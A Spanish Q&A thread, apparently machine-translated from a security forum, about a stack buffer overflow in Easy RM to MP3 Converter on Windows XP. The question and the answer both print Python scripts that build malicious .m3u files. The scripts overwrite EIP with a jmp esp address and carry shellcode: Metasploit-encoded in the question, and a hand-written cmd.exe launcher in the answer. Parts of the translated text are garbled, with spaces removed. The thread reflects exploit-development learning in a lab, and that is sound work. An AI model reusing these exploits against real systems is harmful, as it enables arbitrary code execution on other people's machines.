¿Por qué fnstenv me da una dirección NULA en mi código de shell en Windows XP?

1

Estoy realizando un tutorial introductorio sobre la escritura de exploits, que puede ser encontrado aquí . El tutorial trata sobre una vulnerabilidad de desbordamiento de búfer basada en pila simple en la utilidad de conversión Easy RM to MP3. Tenía el PoC básico funcionando (aunque, encontré un desplazamiento diferente para sobrescribir el EIP que el autor, aunque usé la misma versión). En otras palabras, pude tomar el control de EIP y hacer que saltara a un nopsled antes del shellcode, y el shellcode de prueba que contenía solo una instrucción de ruptura funcionó perfectamente bien. Sin embargo, parece que tengo problemas cuando utilizo shellcode real generado con metasploit (como se muestra en el tutorial). Aquí está el script Python que escribí mientras seguía el tutorial (no quería usar Perl ...):

from struct import pack

filename = "sploit.m3u"
junk = "A" * 26073
eip = pack("I", 0x7C86467B) # jmp esp
nop = "\x90"

preshell = "X" * 4

shellcode = nop*25
shellcode += "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode += "\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode += "\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode += "\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode += "\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode += "\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode += "\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode += "\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode += "\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode += "\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode += "\x7f\xe8\x7b\xca"

payload = junk + eip + preshell + shellcode

with open(filename, "wb") as file:
    file.write(payload)

Esto es lo que Windbg muestra después de que se bloquea el código de shell (tenga en cuenta que el jmp esp funcionó perfectamente bien y que la excepción ocurrió dentro del código de shell):

Despuésdemiraraldepurador,parecequeelproblemaestáenlainstrucciónfnstenv,queaparecehaciaelprincipiodelcódigodeshell.Porloqueheencontradoen este artículo de Phrack , fnstenv se utiliza como una forma de que EIP lo saque de la apilar en un registro:

  

Otro mecanismo interesante que se usa para obtener el EIP es hacer   uso de unas pocas instrucciones especiales de FPU. Esto fue implementado por Aaron   Lista de correo de Adams en Vuln-Dev en la discusión para crear ASCII puro   shellcode. El código utiliza las instrucciones fnstenv / fstenv para guardar el   Estado del entorno FPU.

     

fldz

     

fnstenv [esp-12]

     

pop ecx

     

añadir cl, 10

     

nop

     

ECX mantendrá la dirección del EIP. Sin embargo, estas instrucciones   generará caracteres ASCII no estándar.

Parece que esto es necesario / útil para descodificar el código de shell codificado. Sin embargo, la dirección que se extrae de la pila después de la llamada fnstenv siempre resulta ser NULL (0x00000000) y, a continuación, el código de shell falla posteriormente. Incluso probé este exploit / shellcode en otra VM de Windows XP que tuve (aunque no lo configuré originalmente) y noté que sucedía el mismo resultado.

Mi pregunta es simplemente, ¿por qué sucede esto? ¿Qué causaría que la instrucción fnstenv fallara, resultando en una dirección NULA en lugar de la dirección de EIP? ¿Hay alguna configuración que deba cambiar (tal vez algo con la configuración de hardware de Virtualbox para la máquina virtual?) Que impida que esto funcione correctamente?

    
pregunta saltthehash 25.03.2017 - 11:18
fuente

1 respuesta

2

Vamos a aplicar ingeniería inversa a lo que sucedió:

Pero, mire su valor ESP, es el punto de inicio de su código de shell. ¿Por qué? Porque no puedes escribir antes de esa dirección. Por otro lado, usa [esp-0Ch] para almacenar el entorno de FPU.

Intenté ejecutar tu versión y obtener un error diferente:

TambiénprobélaversiónCorelanquetampocofuncionó.Comopuedever,lascosassehancomplicadoenmiversión.

Nopuedodepurarsuversióndeexploit,sinembargo,puedomostrarlepasoapasolaconstruccióndeexploitparaestavulnerabilidad.EstoyusandoEasyRMtoMP3Converter2.7.3.700(configuración2.8MiB)de esta Exploit Página de la base de datos en mi Windows XP Professional SP3 Turkish . Primero, creé un patrón de Mona.py de 30000 caracteres. Adjunte RM2MP3Converter.exe a Depurador de inmunidad y cargue nuestro archivo sploit.m3u creado .

UsandoelscriptPython pattern.py podemos encontrar el desplazamiento EIP ahora *:

C:\Documents and Settings\Administrator\Desktop>pattern.py offset 0x48386B48 30000
hex pattern decoded as: Hk8H
5784
26064

Veamos dónde apilan los puntos de ESP:

Puedesusar0Hl1ounvalorhexadecimal:

C:\DocumentsandSettings\Administrator\Desktop>pattern.pyoffset0x316C483030000hexpatterndecodedas:0Hl1579226072

Veamosnuestrosresultados:

filename="sploit.m3u"
junk = "A" * 26064
s_eip = "B" * 4
junk2 = "C" * 4
p_esp = "D" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Los valores de bloqueo confirman nuestro pre-exploit:

fromstructimportpackfilename="sploit.m3u"
junk = "A" * 26064
s_eip = pack("I", 0x77fab277)
junk2 = "C" * 4
p_esp = "\xCC" * 4

payload = junk + s_eip + junk2 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Ahora necesitamos encontrar JMP ESP en un segmento ejecutable . Utilice este comando Mona.py :

!mona find -type instr -s "JMP ESP" -x X

Encontradounmontónde"JMP ESP"

from struct import pack

filename = "sploit.m3u"
junk1 = "B" * 4
junk2 = "A" * 26060
s_eip = pack("I", 0x77fab277)
junk3 = "C" * 4
p_esp = "\xCC" * 4

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Gracias a Mona.py , encontramos muchas "jmp esp" en las bibliotecas del sistema operativo. Elija el primero en la dirección 0x77fab277.

000FFD38   CCCCCCCC  ÌÌÌÌ
000FFD3C   00000000  ....
000FFD40   00BC004C  L.¼.
000FFD44   00104A58  XJ.
000FFD48   00000000  ....
000FFD4C   00000000  ....
000FFD50   42424242  BBBB
000FFD54   41414141  AAAA
000FFD58   41414141  AAAA

Golpea nuestra secuencia de interrupción donde señala ESP. Con un poco más de trucos podemos aterrizar nuestro código de shell con ADD AH, CL adicional

EsteesnuestrocódigoPython:

fromstructimportpackfilename="sploit.m3u"
junk1 = ""
junk2 = "\xCC" * 26064
s_eip = pack("I", 0x77fab277)
junk3 = "A" * 4
p_esp = "\x90" * 31

payload = junk1 + junk2 + s_eip + junk3 + p_esp

with open(filename, "wb") as file:
    file.write(payload)

Después de una larga sesión de depuración obtenemos:

CódigoPython:

fromstructimportpackfilename="sploit.m3u"
junk1 = "F" * 2
junk1 += "B" * 8
junk1 += "\x90" * 20
shellcode = "\x8b\xec\x55\x8b\xec"
shellcode += "\x68\x65\x78\x65\x2F"
shellcode += "\x68\x63\x6d\x64\x2e"
shellcode += "\x8d\x45\xf8\x50\xb8"
shellcode += "\xc7\x93\xc1\x77"
shellcode += "\xff\xd0"
junk2 = "\xCC" * (26064-len(junk1)-len(shellcode))
s_eip = pack("I", 0x77fab277)
junk3 = "\x90" * 35

payload = junk1 + shellcode + junk2 + s_eip + junk3

with open(filename, "wb") as file:
    file.write(payload)

A diferencia de Corelan y esta versión de Exploit-db . Puede encontrar el código de shell aquí .

  • Utilizamos doble "F" para emular una instrucción inofensiva con restos de datos en la pila
  • Ocho "B" es para el resto, no parece que esté escrito en ninguna parte.
  • junk3 está escrito antes de que shellcode puede usarlo para saltar sobre los datos.

* Mona solo encuentra la primera aparición de la secuencia.

    
respondido por el d36f 29.03.2017 - 22:00
fuente

Lea otras preguntas en las etiquetas